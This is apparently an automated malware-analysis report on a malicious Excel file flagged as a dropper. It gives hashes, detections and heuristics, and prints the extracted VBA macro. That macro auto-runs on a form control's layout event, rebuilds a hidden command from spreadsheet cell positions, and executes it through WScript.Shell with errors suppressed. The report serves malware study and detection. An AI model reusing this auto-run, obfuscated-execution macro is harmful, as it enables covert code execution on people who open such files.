Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ac25a16ea203b5ab…

MALICIOUS

Office (OOXML)

40.6 KB Created: 2020-07-01 11:22:24 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-09-24
MD5: 576ee61da13f144091b2a26db347b804 SHA-1: 6a6d748a6107b59b700bcbecd1a80c0e21629792 SHA-256: ac25a16ea203b5ab628b82cd5f060888429b847b5a0a23ce991fa81e4d335942
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel document containing VBA macros that leverage WScript.Shell to execute a command. The ClamAV detection 'Xls.Dropper.Agent-8806506-0' and the critical heuristics for Shell() and WScript.Shell usage indicate that the macro is designed to download and execute a second-stage payload. The obfuscated nature of the `intf` array and the use of `Join(intf, "")` suggest an attempt to hide the actual command being executed.

Heuristics 4

  • ClamAV: Xls.Dropper.Agent-8806506-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-8806506-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    On Error Resume Next
    Set WScript.echo = CreateObject("Wscript.shell").ExEc(Join(intf, ""))
    End Sub
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    On Error Resume Next
    Set WScript.echo = CreateObject("Wscript.shell").ExEc(Join(intf, ""))
    End Sub

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1060 bytes
SHA-256: 9b654103300d4a7fe7e80b0661889e066d772de8b99abc72894cb7564db9b031
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "views, 1, 0, MSForms, MultiPage"
Private Sub views_Layout(ByVal Index As Long)
Dim intf(3876)
For Each Procentage In ActiveSheet.UsedRange.SpecialCells(xlCellTypeConstants)
intf(Procentage.value) = Chr(Procentage.Row)
Next
On Error Resume Next
Set WScript.echo = CreateObject("Wscript.shell").ExEc(Join(intf, ""))
End Sub
Sub TextMessageAlert()
MsgBox "                                                       "
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 10752 bytes
SHA-256: 9721dec7f288a0ab598b72efc1aeeb539d577a3b994df473f127fc94d5293754
Detection
ClamAV: Xls.Dropper.Agent-8806506-0
Obfuscation or payload: unlikely
emf_00.emf ooxml-emf OOXML EMF part: xl/media/image1.emf 1408 bytes
SHA-256: a1d83b13577385965d59963af5c15deca6de97aaa0c0c0446ebb4f46ee340309